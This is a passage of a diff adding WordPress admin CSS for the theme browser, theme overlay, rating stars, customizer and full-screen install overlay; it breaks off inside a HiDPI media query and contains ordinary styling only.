+.theme-browser .theme.add-new-theme span:after {
+	background: #e5e5e5;
+	background: rgba(153, 153, 153, 0.1);
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	display: inline-block;
+	content: '\f132';
+	-webkit-font-smoothing: antialiased;
+	font: normal 74px/115px 'dashicons';
+	width: 100px;
+	height: 100px;
+	vertical-align: middle;
+	text-align: center;
+	color: rgb(153, 153, 153);
+	position: absolute;
+	top: 30%;
+	left: 50%;
+	margin-left: -50px;
+	text-indent: -4px;
+	padding: 0;
+	text-shadow: none;
+	z-index:4;
+}
+
+.rtl .theme-browser .theme.add-new-theme span:after {
+	text-indent: 4px;
+}
+
+.theme-browser .theme.add-new-theme:hover .theme-screenshot,
+.theme-browser .theme.add-new-theme:focus .theme-screenshot {
+	background: none;
+}
+
+.theme-browser .theme.add-new-theme:hover span:after,
+.theme-browser .theme.add-new-theme:focus span:after {
+	background: #fff;
+	color: #0074a2;
+}
+
+.theme-browser .theme.add-new-theme:hover:after,
+.theme-browser .theme.add-new-theme:focus:after {
+	border-color: transparent;
+	color: #fff;
+	background: #0074a2;
+	content: '';
+}
+
+.theme-browser .theme.add-new-theme .theme-name {
+	background: none;
+	text-align: center;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	font-weight: 400;
+	position: relative;
+	top: 0;
+	margin-top: -10%;
+	margin-bottom: 10%;
+}
+
+.theme-browser .theme.add-new-theme:hover .theme-name,
+.theme-browser .theme.add-new-theme:focus .theme-name {
+	color: #fff;
+	z-index: 2;
+}
+
+/**
+ * Theme Overlay
+ * Shown when clicking a theme
+ */
+.theme-overlay .theme-backdrop {
+	position: absolute;
+	left: -20px;
+	right: 0;
+	top: 0;
+	bottom: 0;
+	background: #f1f1f1;
+	background: rgba( 238, 238, 238, 0.9 );
+	z-index: 10;
+}
+
+.theme-overlay .theme-header {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	height: 48px;
+	border-bottom: 1px solid #ddd;
+}
+
+.theme-overlay .theme-header .close {
+	cursor: pointer;
+	height: 48px;
+	width: 50px;
+	text-align: center;
+	float: right;
+	border: 0;
+	border-left: 1px solid #ddd;
+	background-color: transparent;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-overlay .theme-header .close:before {
+	font: normal 22px/50px 'dashicons' !important;
+	color: #777;
+	display: inline-block;
+	content: '\f335';
+	font-weight: 300;
+}
+
+/* Left and right navigation */
+.theme-overlay .theme-header .right,
+.theme-overlay .theme-header .left {
+	cursor: pointer;
+	color: #777;
+	background-color: transparent;
+	height: 48px;
+	width: 54px;
+	float: left;
+	text-align: center;
+	border: 0;
+	border-right: 1px solid #ddd;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-overlay .theme-header .close:focus,
+.theme-overlay .theme-header .close:hover,
+.theme-overlay .theme-header .right:focus,
+.theme-overlay .theme-header .right:hover,
+.theme-overlay .theme-header .left:focus,
+.theme-overlay .theme-header .left:hover {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+}
+
+.theme-overlay .theme-header .close:focus:before,
+.theme-overlay .theme-header .close:hover:before {
+	color: #000;
+}
+
+.theme-overlay .theme-header .close:focus,
+.theme-overlay .theme-header .right:focus,
+.theme-overlay .theme-header .left:focus {
+    -webkit-box-shadow: none;
+    box-shadow: none;
+    outline: none;
+}
+
+.theme-overlay .theme-header .left.disabled,
+.theme-overlay .theme-header .right.disabled,
+.theme-overlay .theme-header .left.disabled:hover,
+.theme-overlay .theme-header .right.disabled:hover {
+	color: #ccc;
+	background: inherit;
+	cursor: inherit;
+}
+
+.theme-overlay .theme-header .right:before,
+.theme-overlay .theme-header .left:before {
+	font: normal 20px/50px 'dashicons' !important;
+	display: inline;
+	font-weight: 300;
+}
+
+.theme-overlay .theme-header .left:before,
+.rtl .theme-overlay .theme-header .right:before {
+	content: '\f341';
+}
+
+.theme-overlay .theme-header .right:before,
+.rtl .theme-overlay .theme-header .left:before {
+	content: '\f345';
+}
+
+
+
+.theme-overlay .theme-wrap {
+	clear: both;
+	position: fixed;
+	top: 9%;
+	left: 190px;
+	right: 30px;
+	bottom: 3%;
+	background: #fff;
+	-webkit-box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
+	box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
+	z-index: 20;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.theme-overlay .theme-wrap:after {
+	content: ".";
+	display: block;
+	height: 0;
+	clear: both;
+	visibility: hidden;
+}
+
+body.folded .theme-overlay .theme-wrap {
+	left: 70px;
+}
+
+.theme-overlay .theme-about {
+	position: absolute;
+	top: 49px;
+	bottom: 57px;
+	left: 0;
+	right: 0;
+	overflow: auto;
+	padding: 2% 4%;
+}
+.theme-overlay .theme-about:after {
+	content: ".";
+	display: block;
+	height: 0;
+	clear: both;
+	visibility: hidden;
+}
+
+.theme-overlay .theme-actions {
+	position: absolute;
+	text-align: center;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	padding: 10px 25px 5px;
+	background: #f3f3f3;
+	z-index: 30;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	border-top: 1px solid #eee;
+}
+
+.ie8 .theme-overlay .theme-actions {
+	border: 1px solid #eee;
+}
+
+.theme-overlay .theme-actions a {
+	margin-right: 5px;
+	margin-bottom: 5px;
+}
+
+/* Hide-if-customize for items we can't add classes to */
+.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"],
+.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] {
+	display: none;
+}
+
+.broken-themes a.delete-theme,
+.theme-overlay .theme-actions .delete-theme {
+	color: #a00;
+	text-decoration: none;
+	border-color: transparent;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background: transparent;
+}
+
+.theme-overlay .theme-actions .delete-theme {
+	position: absolute;
+	right: 10px;
+	bottom: 5px;
+}
+
+.broken-themes a.delete-theme:hover,
+.broken-themes a.delete-theme:focus,
+.theme-overlay .theme-actions .delete-theme:hover,
+.theme-overlay .theme-actions .delete-theme:focus {
+	background: #d54e21;
+	color: #fff;
+	border-color: #d54e21;
+}
+
+.theme-overlay .theme-actions .active-theme,
+.theme-overlay.active .theme-actions .inactive-theme {
+	display: none;
+}
+
+.theme-overlay .theme-actions .inactive-theme,
+.theme-overlay.active .theme-actions .active-theme {
+	display: block;
+}
+
+/**
+ * Theme Screenshots gallery
+ */
+.theme-overlay .theme-screenshots {
+	float: left;
+	margin: 0 30px 0 0;
+	width: 55%;
+	max-width: 880px;
+	text-align: center;
+}
+
+/* First screenshot, shown big */
+.theme-overlay .screenshot {
+	border: 1px solid #fff;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	overflow: hidden;
+	position: relative;
+	-webkit-box-shadow: 0 0 0 1px rgba(0,0,0,0.2);
+	box-shadow: 0 0 0 1px rgba(0,0,0,0.2);
+}
+
+.theme-overlay .screenshot:after {
+	content: '';
+	display: block;
+	padding-top: 75%; /* using a 4/3 aspect ratio */
+}
+
+.theme-overlay .screenshot img {
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+/* Handles old 300px screenshots */
+.theme-overlay.small-screenshot .theme-screenshots {
+	position: absolute;
+	width: 302px;
+}
+.theme-overlay.small-screenshot .theme-info {
+	margin-left: 350px;
+	width: auto;
+}
+
+/* Other screenshots, shown small and square */
+.theme-overlay .screenshot.thumb {
+	background: #ccc;
+	border: 1px solid #eee;
+	float: none;
+	display: inline-block;
+	margin: 10px 5px 0;
+	width: 140px;
+	height: 80px;
+	cursor: pointer;
+}
+
+.theme-overlay .screenshot.thumb:after {
+	content: '';
+	display: block;
+	padding-top: 100%; /* using a 1/1 aspect ratio */
+}
+
+.theme-overlay .screenshot.thumb img {
+	cursor: pointer;
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+	height: auto;
+}
+
+.theme-overlay .screenshot.selected {
+	background: transparent;
+	border: 2px solid #2ea2cc;
+}
+
+.theme-overlay .screenshot.selected img {
+	opacity: 0.8;
+}
+
+/* No screenshot placeholder */
+.theme-browser .theme .theme-screenshot.blank,
+.theme-overlay .screenshot.blank {
+	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=);
+}
+
+/**
+ * Theme heading information
+ */
+.theme-overlay .theme-info {
+	width: 40%;
+	float: left;
+}
+
+.theme-overlay .current-label {
+	background: #333;
+	color: #fff;
+	font-size: 11px;
+	display: inline-block;
+	padding: 2px 8px;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	margin: 0 0 -10px;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.theme-overlay .theme-name {
+	color: #222;
+	font-size: 32px;
+	font-weight: 100;
+	margin: 10px 0 0;
+	line-height: 1.3;
+}
+
+.theme-overlay .theme-version {
+	color: #999;
+	font-size: 13px;
+	font-weight: 400;
+	float: none;
+	display: inline-block;
+	margin-left: 10px;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.theme-overlay .theme-author {
+	color: #686868;
+	font-size: 16px;
+	font-weight: 400;
+	margin: 15px 0 25px;
+}
+
+.theme-overlay .theme-author a {
+	text-decoration: none;
+}
+
+.theme-overlay .theme-description {
+	color: #555;
+	font-size: 15px;
+	font-weight: 400;
+	line-height: 1.5;
+	margin: 30px 0 0 0;
+}
+
+.theme-overlay .theme-tags {
+	border-top: 3px solid #eee;
+	color: #888;
+	font-size: 13px;
+	font-weight: 400;
+	margin: 30px 0 0 0;
+	padding-top: 20px;
+}
+
+.theme-overlay .theme-tags span {
+	color: #444;
+	font-weight: bold;
+	margin-right: 5px;
+}
+
+/* Theme Updates info */
+.theme-overlay .theme-update-message {
+	background: #fef7f1;
+	border: 1px solid #eee;
+	border-left: 4px solid #d54e21;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	padding: 5px 20px 10px;
+}
+
+.theme-overlay .theme-update {
+	color: #222;
+	font-size: 18px;
+	display: inline-block;
+	line-height: 40px;
+	margin: 0;
+}
+
+.theme-overlay .parent-theme {
+	background: #f7fcfe;
+	border: 1px solid #eee;
+	border-left: 4px solid #2ea2cc;
+	font-size: 14px;
+	font-weight: normal;
+	margin-top: 30px;
+	padding: 10px 10px 10px 20px;
+}
+
+.theme-overlay .parent-theme strong {
+	font-weight: 700;
+}
+
+/**
+ * Single Theme Mode
+ * Displays detailed view inline when a user has no switch capabilities
+ */
+.single-theme .theme-overlay .theme-backdrop,
+.single-theme .theme-overlay .theme-header,
+.single-theme .theme {
+	display: none;
+}
+
+.single-theme .theme-overlay .theme-wrap {
+	clear: both;
+	min-height: 330px;
+	position: relative;
+	left: auto;
+	right: auto;
+	top: auto;
+	bottom: auto;
+}
+
+.single-theme .theme-overlay .theme-about {
+	padding: 30px 30px 70px;
+	position: static;
+}
+
+.single-theme .theme-overlay .theme-actions {
+	position: absolute;
+}
+
+/**
+ * Basic Responsive structure...
+ *
+ * Shuffles theme columns around based on screen width
+ */
+
+@media only screen and (min-width: 2000px) {
+	#wpwrap .theme-browser .theme {
+		width: 17.6%;
+		margin: 0 3% 3% 0;
+	}
+
+	#wpwrap .theme-browser .theme:nth-child(3n),
+	#wpwrap .theme-browser .theme:nth-child(4n) {
+		margin-right: 3%;
+	}
+
+	#wpwrap .theme-browser .theme:nth-child(5n) {
+		margin-right: 0;
+	}
+}
+
+@media only screen and (min-width: 1680px) {
+	.theme-overlay .theme-wrap {
+		width: 1450px;
+		margin: 0 auto;
+	}
+}
+
+/* Maximum screenshot width reaches 440px */
+@media only screen and (min-width: 1640px) {
+	.theme-browser .theme {
+		width: 22.7%;
+		margin: 0 3% 3% 0;
+	}
+	.theme-browser .theme .theme-screenshot:after {
+		padding-top: 75%; /* using a 4/3 aspect ratio */
+	}
+
+	.theme-browser .theme:nth-child(3n) {
+		margin-right: 3%;
+	}
+
+	.theme-browser .theme:nth-child(4n) {
+		margin-right: 0;
+	}
+}
+/* Maximum screenshot width reaches 440px */
+@media only screen and (max-width: 1120px) {
+	.theme-browser .theme {
+		width: 47.5%;
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(even) {
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(odd) {
+		margin-right: 5%;
+	}
+}
+
+/* Admin menu is folded */
+@media only screen and (max-width: 900px) {
+	.theme-overlay .theme-wrap {
+		left: 65px;
+	}
+}
+
+@media only screen and (max-width: 780px) {
+	body.folded .theme-overlay .theme-wrap,
+	.theme-overlay .theme-wrap {
+		top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */
+		right: 0;
+		bottom: 0;
+		left: 0;
+		padding: 70px 20px 20px;
+		border: none;
+		z-index: 500; /* should overlap #wpadminbar, which is 500 on mobile. */
+		position: fixed;
+	}
+
+	.theme-browser .theme.active .theme-name span {
+		/* Hide the "Active: " label on smaller screens. */
+		display: none;
+	}
+
+	.theme-overlay .theme-screenshots {
+		width: 40%;
+	}
+
+	.theme-overlay .theme-info {
+		width: 50%;
+	}
+	.single-theme .theme-wrap {
+		padding: 10px;
+	}
+
+	.theme-browser .theme .theme-actions {
+		padding: 5px 10px 4px 10px;
+	}
+
+	.theme-overlay.small-screenshot .theme-screenshots {
+		position: static;
+		float: none;
+		max-width: 302px;
+	}
+
+	.theme-overlay.small-screenshot .theme-info {
+		margin-left: 0;
+		width: auto;
+	}
+
+	.theme:not(.active):hover .theme-actions,
+	.theme:not(.active):focus .theme-actions,
+	.theme:hover .more-details,
+	.theme:focus .more-details {
+		display: none;
+	}
+
+	.theme-browser.rendered .theme:hover .theme-screenshot img,
+	.theme-browser.rendered .theme:focus .theme-screenshot img {
+		opacity: 1.0;
+	}
+}
+
+@media only screen and (max-width: 480px) {
+	.theme-browser .theme {
+		width: 100%;
+		margin-right: 0;
+	}
+
+	.theme-browser .theme:nth-child(2n),
+	.theme-browser .theme:nth-child(3n) {
+		margin-right: 0;
+	}
+}
+
+@media only screen and (max-width: 650px) {
+	.theme-overlay .theme-update,
+	.theme-overlay .theme-description {
+		margin-left: 0;
+	}
+
+	.theme-overlay .theme-actions .delete-theme {
+		position: relative;
+		right: auto;
+		bottom: auto;
+	}
+
+	.theme-overlay .theme-actions .inactive-theme {
+		display: inline;
+	}
+
+	.theme-overlay .theme-screenshots {
+		width: 100%;
+		float: none;
+	}
+
+	.theme-overlay .theme-info {
+		width: 100%;
+	}
+
+	.theme-overlay .theme-author {
+		margin: 5px 0 15px 0;
+	}
+
+	.theme-overlay .current-label {
+		margin-top: 10px;
+		font-size: 13px;
+	}
+
+	.themes-php .wrap h2 {
+		width: 100%;
+	}
+
+	.themes-php .wp-filter-search {
+		float: none;
+		clear: both;
+		left: 0;
+		top: 0;
+		right: 0;
+		margin: 10px 0;
+		width: 100%;
+		max-width: 280px;
+	}
+
+	.theme-browser .theme.add-new-theme span:after {
+		font: normal 60px/90px 'dashicons';
+		width: 80px;
+		height: 80px;
+		top: 30%;
+		left: 50%;
+		text-indent: 0;
+		margin-left: -40px;
+	}
+
+	.single-theme .theme-wrap {
+		margin: 0 -12px 0 -10px;
+		padding: 10px;
+	}
+	.single-theme .theme-overlay .theme-about {
+		padding: 10px;
+		overflow: visible;
+	}
+	.single-theme .current-label {
+		display: none;
+	}
+	.single-theme .theme-overlay .theme-actions {
+		position: static;
+	}
+}
+
+.broken-themes {
+	clear: both;
+}
+
+.broken-themes table {
+	text-align: left;
+	width: 50%;
+	border-spacing: 3px;
+	padding: 3px;
+}
+
+
+/*------------------------------------------------------------------------------
+  16.2 - Install Themes
+------------------------------------------------------------------------------*/
+
+/* Already installed theme */
+.theme-browser .theme .theme-installed {
+	background: #0074a2;
+}
+.theme-browser .theme .theme-installed:before {
+	content: '\f147';
+}
+.theme-browser .theme.is-installed .theme-actions .button-primary {
+	display: none !important;
+}
+
+.theme-install-php a.upload,
+.theme-install-php a.browse-themes {
+	cursor: pointer;
+}
+.theme-install-php a.browse-themes,
+.theme-install-php.show-upload-theme a.upload {
+	display: none;
+}
+.theme-install-php.show-upload-theme a.browse-themes {
+	display: inline;
+}
+.upload-theme,
+.upload-plugin {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	display: none;
+	margin: 0;
+	padding: 0;
+	width: 100%;
+	overflow: hidden;
+	position: relative;
+	top: 10px;
+}
+body.show-upload-theme .upload-theme,
+.upload-plugin {
+	display: block;
+}
+.upload-theme .wp-upload-form,
+.upload-plugin .wp-upload-form {
+	background: #fafafa;
+	border: 1px solid #e5e5e5;
+	padding: 30px;
+	margin: 30px auto;
+	max-width: 380px;
+}
+.upload-theme .install-help,
+.upload-plugin .install-help {
+	color: #999;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 40px 0 0;
+	text-align: center;
+}
+body.show-upload-theme .upload-theme + .wp-filter,
+body.show-upload-theme .upload-theme + .wp-filter + .theme-browser {
+	display: none;
+}
+
+p.no-themes {
+	color: #999;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 0;
+	text-align: center;
+	display: none;
+}
+body.no-results p.no-themes {
+	display: block;
+}
+body.show-upload-theme p.no-themes {
+	display: none !important;
+}
+
+.theme-install-php .add-new-theme {
+	display: none !important;
+}
+
+@media only screen and (max-width: 1120px) {
+	.upload-theme .wp-upload-form {
+		margin: 20px 0;
+		max-width: 100%;
+	}
+	.upload-theme .install-help {
+		font-size: 15px;
+		padding: 20px 0 0;
+		text-align: left;
+	}
+}
+
+.rating {
+	margin: 15px 0 0;
+}
+.rating span:before {
+	color: #e6b800;
+	content: "\f154";
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 20px/1 'dashicons';
+	vertical-align: top;
+}
+/* Half stars */
+.rating-10 span.one:before,
+.rating-30 span.two:before,
+.rating-50 span.three:before,
+.rating-70 span.four:before,
+.rating-90 span.five:before {
+	content: "\f459";
+}
+/* Full stars */
+.rating-20 span.one:before {
+	content: "\f155";
+}
+.rating-30 span.one:before,
+.rating-40 span.one:before,
+.rating-40 span.two:before {
+	content: "\f155";
+}
+.rating-50 span.one:before,
+.rating-50 span.two:before,
+.rating-60 span.one:before,
+.rating-60 span.two:before,
+.rating-60 span.three:before {
+	content: "\f155";
+}
+.rating-70 span.one:before,
+.rating-70 span.two:before,
+.rating-70 span.three:before,
+.rating-80 span.one:before,
+.rating-80 span.two:before,
+.rating-80 span.three:before,
+.rating-80 span.four:before {
+	content: "\f155";
+}
+.rating-90 span.one:before,
+.rating-90 span.two:before,
+.rating-90 span.three:before,
+.rating-90 span.four:before,
+.rating-100 span.one:before,
+.rating-100 span.two:before,
+.rating-100 span.three:before,
+.rating-100 span.four:before,
+.rating-100 span.five:before {
+	content: "\f155";
+}
+.rating .ratings {
+	display: block;
+	line-height: 20px;
+	color: #999;
+}
+
+/*------------------------------------------------------------------------------
+  16.3 - Custom Header Screen
+------------------------------------------------------------------------------*/
+
+.appearance_page_custom-header #headimg {
+	border: 1px solid #DFDFDF;
+	overflow: hidden;
+	width: 100%;
+}
+
+.appearance_page_custom-header #upload-form p label {
+	font-size: 12px;
+}
+
+.appearance_page_custom-header .available-headers .default-header {
+	float: left;
+	margin: 0 20px 20px 0;
+}
+
+.appearance_page_custom-header .random-header {
+	clear: both;
+	margin: 0 20px 20px 0;
+	vertical-align: middle;
+}
+
+.appearance_page_custom-header .available-headers label input,
+.appearance_page_custom-header .random-header label input {
+	margin-right: 10px;
+}
+
+.appearance_page_custom-header .available-headers label img {
+	vertical-align: middle;
+}
+
+
+/*------------------------------------------------------------------------------
+  16.4 - Custom Background Screen
+------------------------------------------------------------------------------*/
+
+div#custom-background-image {
+	min-height: 100px;
+	border: 1px solid #dfdfdf;
+}
+
+div#custom-background-image img {
+	max-width: 400px;
+	max-height: 300px;
+}
+
+/*------------------------------------------------------------------------------
+  23.0 - Full Overlay w/ Sidebar
+------------------------------------------------------------------------------*/
+
+body.full-overlay-active {
+	overflow: hidden;
+}
+
+.wp-full-overlay {
+	background: transparent;
+	z-index: 500000;
+	position: fixed;
+	overflow: visible;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	height: 100%;
+	min-width: 0;
+}
+
+.wp-full-overlay-sidebar {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	position: fixed;
+	width: 300px;
+	height: 100%;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	padding: 0;
+	margin: 0;
+	z-index: 10;
+	background: #eee;
+	border-right: none;
+}
+
+.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+	overflow: visible;
+}
+
+.wp-full-overlay.collapsed,
+.wp-full-overlay.expanded .wp-full-overlay-sidebar {
+	margin-left: 0 !important;
+}
+
+.wp-full-overlay.expanded {
+	margin-left: 300px;
+}
+
+.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
+	margin-left: -300px;
+}
+
+.wp-full-overlay-sidebar:after {
+	content: '';
+	display: block;
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	width: 3px;
+	z-index: 1000;
+}
+
+.wp-full-overlay-main {
+	position: absolute;
+	left: 0;
+	right: 0;
+	top: 0;
+	bottom: 0;
+	height: 100%;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header {
+	position: absolute;
+	left: 0;
+	right: 0;
+	height: 45px;
+	padding: 0 15px;
+	line-height: 45px;
+	z-index: 10;
+	margin: 0;
+	border-top: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header a.back {
+	margin-top: 9px;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-footer {
+	bottom: 0;
+	border-bottom: none;
+	border-top: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
+	position: absolute;
+	top: 45px;
+	bottom: 45px;
+	left: 0;
+	right: 0;
+	overflow: auto;
+}
+
+/* Close & Navigation Links */
+.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header {
+	padding: 0;
+}
+
+.theme-install-overlay .close-full-overlay,
+.theme-install-overlay .previous-theme,
+.theme-install-overlay .next-theme {
+	display: block;
+	position: relative;
+	float: left;
+	width: 45px;
+	height: 45px;
+	padding-right: 2px;
+	background: #eee;
+	border-right: 1px solid #ddd;
+	color: #444;
+	cursor: pointer;
+	text-decoration: none;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-install-overlay .close-full-overlay:hover,
+.theme-install-overlay .close-full-overlay:focus,
+.theme-install-overlay .previous-theme:hover,
+.theme-install-overlay .previous-theme:focus,
+.theme-install-overlay .next-theme:hover,
+.theme-install-overlay .next-theme:focus {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+	outline: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.theme-install-overlay .close-full-overlay:before {
+	font: normal 22px/1 dashicons;
+	content: "\f335";
+	position: relative;
+	top: 7px;
+	left: 13px;
+}
+
+.theme-install-overlay .previous-theme:before {
+	font: normal 20px/1 dashicons;
+	content: "\f341";
+	position: relative;
+	top: 6px;
+	left: 14px;
+}
+
+.theme-install-overlay .next-theme:before {
+	font: normal 20px/1 dashicons;
+	content: "\f345";
+	position: relative;
+	top: 6px;
+	left: 13px;
+}
+
+.theme-install-overlay .previous-theme.disabled,
+.theme-install-overlay .next-theme.disabled,
+.theme-install-overlay .previous-theme.disabled:hover,
+.theme-install-overlay .previous-theme.disabled:focus,
+.theme-install-overlay .next-theme.disabled:hover,
+.theme-install-overlay .next-theme.disabled:focus {
+	color: #bbb;
+	background: #eee;
+	cursor: default;
+	pointer-events: none;
+}
+
+.rtl .theme-install-overlay .previous-theme:before {
+	content: "\f345";
+}
+
+.rtl .theme-install-overlay .next-theme:before {
+	content: "\f341";
+}
+
+/* Collapse Button */
+.wp-full-overlay a.collapse-sidebar {
+	position: absolute;
+	bottom: 12px;
+	left: 0;
+	z-index: 50;
+	display: block;
+	width: 19px;
+	height: 19px;
+	margin-left: 15px;
+	padding: 0;
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	color: #777;
+	text-decoration: none;
+}
+
+.wp-full-overlay a.collapse-sidebar:hover {
+	color: #0074a2;
+}
+
+.wp-full-overlay.collapsed .collapse-sidebar {
+	position: absolute;
+	left: 100%;
+}
+
+.wp-full-overlay .collapse-sidebar-arrow {
+	position: static;
+	margin-top: 0;
+	margin-left: 0;
+	display: block;
+	width: auto;
+	height: auto;
+	background: none;
+}
+
+.wp-full-overlay .collapse-sidebar-arrow:before {
+	-webkit-border-radius: 50%;
+	border-radius: 50%;
+	float: left;
+	content: "\f148";
+	background: #eee;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: block;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.wp-full-overlay.collapsed .collapse-sidebar-arrow:before,
+.rtl .wp-full-overlay .collapse-sidebar-arrow:before {
+	-webkit-transform: rotate(180deg);
+	-ms-transform: rotate(180deg);
+	transform: rotate(180deg);
+}
+
+.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before {
+	-webkit-transform: none;
+	-ms-transform: none;
+	transform: none;
+}
+
+.wp-full-overlay.collapsed .collapse-sidebar-arrow {
+	background-position: -1px -109px;
+}
+
+.wp-full-overlay .collapse-sidebar-label {
+	position: absolute;
+	left: 100%;
+	line-height: 20px;
+	margin-left: 10px;
+}
+
+.wp-full-overlay.collapsed .collapse-sidebar-label {
+	display: none;
+}
+
+/* Animations */
+.wp-full-overlay,
+.wp-full-overlay-sidebar,
+.wp-full-overlay .collapse-sidebar,
+.wp-full-overlay-main {
+	-webkit-transition-property: left, right, top, bottom, width, margin;
+	transition-property: left, right, top, bottom, width, margin;
+	-webkit-transition-duration: 0.2s;
+	transition-duration: 0.2s;
+}
+
+/*------------------------------------------------------------------------------
+  24.0 - Customize Loader
+------------------------------------------------------------------------------*/
+
+.no-customize-support .hide-if-no-customize,
+.customize-support .hide-if-customize,
+.no-customize-support.wp-core-ui .hide-if-no-customize,
+.no-customize-support .wp-core-ui .hide-if-no-customize,
+.customize-support.wp-core-ui .hide-if-customize,
+.customize-support .wp-core-ui .hide-if-customize {
+	display: none;
+}
+
+#customize-container {
+	display: none;
+	background: #fff;
+	z-index: 500000;
+	position: fixed;
+	overflow: visible;
+	top: 0;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	height: 100%;
+}
+
+.customize-active #customize-container {
+	display: block;
+}
+
+.customize-loading #customize-container iframe {
+	opacity: 0;
+}
+
+.customize-loading #customize-container {
+	background: #fff url(../images/spinner.gif) no-repeat fixed center center;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+}
+
+#customize-container iframe,
+.theme-install-overlay iframe {
+	height: 100%;
+	width: 100%;
+	z-index: 20;
+	-webkit-transition: opacity 0.3s;
+	transition: opacity 0.3s;
+}
+
+#customize-container .collapse-sidebar {
+	bottom: 16px;
+}
+
+#customize-controls {
+	margin-top: 0;
+}
+
+.theme-install-overlay {
+	display: none;
+}
+
+.theme-install-overlay.single-theme {
+	display: block;
+}
+
+.install-theme-info {
+	display: none;
+	padding: 10px 20px 60px;
+}
+
+.single-theme .install-theme-info {
+	padding-top: 15px;
+}
+
+.theme-install-overlay .install-theme-info {
+	display: block;
+}
+
+.install-theme-info .theme-install {
+	float: right;
+	margin-top: 18px;
+}
+
+.install-theme-info .theme-name {
+	font-size: 16px;
+	line-height: 24px;
+	margin-bottom: 0;
+	margin-top: 0;
+}
+
+.install-theme-info .theme-screenshot {
+	margin-top: 15px;
+	width: 258px;
+	border: 1px solid #ccc;
+}
+
+.install-theme-info .theme-details {
+	overflow: hidden;
+}
+
+.theme-details .theme-version {
+	margin: 15px 0;
+	float: left;
+}
+
+.theme-details .star-rating {
+	margin: 7px 0;
+	float: right;
+}
+
+.theme-details .theme-description {
+	float: left;
+	color: #777;
+	line-height: 20px;
+	max-width: 100%;
+}
+
+.theme-install-overlay .wp-full-overlay-header .theme-install {
+	float: right;
+	margin: 8px 10px 0 0;
+	/* For when .theme-install is a span rather than a.button-primary (already installed theme) */
+	line-height: 26px;
+}
+
+.theme-install-overlay .wp-full-overlay-sidebar {
+	background: #eee;
+	border-right: 1px solid #ddd;
+}
+
+.theme-install-overlay .wp-full-overlay-sidebar-content {
+	background: #fff;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+}
+
+.theme-install-overlay .wp-full-overlay-main {
+	background: #fff url(../images/spinner.gif) no-repeat center center;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.wp-full-overlay .collapse-sidebar-arrow {
